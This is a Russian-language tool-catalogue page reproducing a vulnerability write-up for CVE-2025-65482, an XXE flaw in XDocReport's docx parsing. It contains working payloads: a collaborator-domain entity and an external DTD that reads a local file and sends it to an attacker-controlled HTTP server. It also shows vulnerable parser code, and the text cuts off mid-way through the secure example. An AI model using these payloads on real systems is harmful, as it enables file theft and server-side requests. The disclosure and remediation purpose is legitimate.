Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
Инструменты/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхСтатьи и ИсследованияОбучение и Образование
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

Репозиторий
11010 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-65482 (XXE)

Внедрение внешних XML-сущностей (XXE) в XDocReport

Определение уязвимости

Внедрение внешних XML-сущностей

Обзор уязвимости

  • XML External Entity Injection (XXE) — это уязвимость при обработке данных в формате XML, когда пользователь вставляет XML-данные со ссылкой на внешний файл или систему. Злоумышленник может использовать данную XXE-уязвимость для сканирования других систем на наличие открытых портов служб, запрашивать секретные файлы и получать доступ к функциям подключенных систем, которые иначе были бы недоступны. Отсюда злоумышленник может извлекать данные, взаимодействовать с системами и вызывать нарушение обслуживания через внедрение XML.

Влияние на бизнес

  • XXE может привести к репутационному ущербу для бизнеса из-за потери доверия и уверенности пользователей. Это также может привести к краже данных и косвенным финансовым потерям для бизнеса через затраты на уведомление, исправление и нарушение конфиденциальности PII-данных.

Степень серьезности: HIGH

image

Описание и влияние

Веб-сайт управления персоналом позволяет пользователям загружать файлы документов .docx в систему. В процессе обработки приложение использует библиотеку fr.opensagres.xdocreport.document.docx, содержащую XXE-уязвимость при передаче файла .docx через SAXParser.

Затронутый компонент

fr.opensagres.xdocreport.template.docx — XDocReport (версии =< 2.0.3)

Анализ первопричины

Причина в использовании Apache POI

fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

То есть Apache POI находится глубоко в модуле:

org.apache.poi.xwpf.converter.core

image

Ошибка возникает потому, что XDocReport (в модуле fr.opensagres.xdocreport.document.docx) использует Apache POI для чтения файлов .docx, а POI, в свою очередь, использует SAXParser по умолчанию из Java без отключения функций, разрешающих обработку DTD и внешних сущностей. → Это позволяет злоумышленнику вставить DOCTYPE с сущностью, ссылающейся вовне (SYSTEM "http://...") или на внутренний файл (file:///...) → приводит к XXE.

image

XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Шаги воспроизведения

  • Распаковать любой docx-файл
unzip ../vcspentest.docx

image

  • Изменить содержимое файла document.xml внутри docx
nano word/document.xml

image

Изменить с помощью outband-полезной нагрузки для Collabrator:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • Упаковать обратно в файл poc
 zip -r ../poc.docx *

image

image

  • Загрузить измененный docx-файл на обработку xdocreport

image

  • В результате виден запрос, отправленный на Collabrator

image

  • Повышение impact до чтения файлов в системе
  • Хост для хранения dtd-файла на машине wsl 172.26.208.130. Содержимое файла vcspentest.dtd следующее:
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

Изменить файл word/document.xml внутри .docx на следующее содержимое для загрузки внешнего dtd с машины wsl:

<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • упаковать файл в .docx и загрузить на сервер для обработки

image

image

  • на машине wsl виден запрос с содержимым файла D:/vcspentest.txt с целевого сервера

image

image

Решение

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

В коде или на уровне конфигурации XML-парсера необходимо отключить все функции, связанные с DTD и внешними сущностями.

Исправление аналогично этому коду:

    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
Скачать инструмент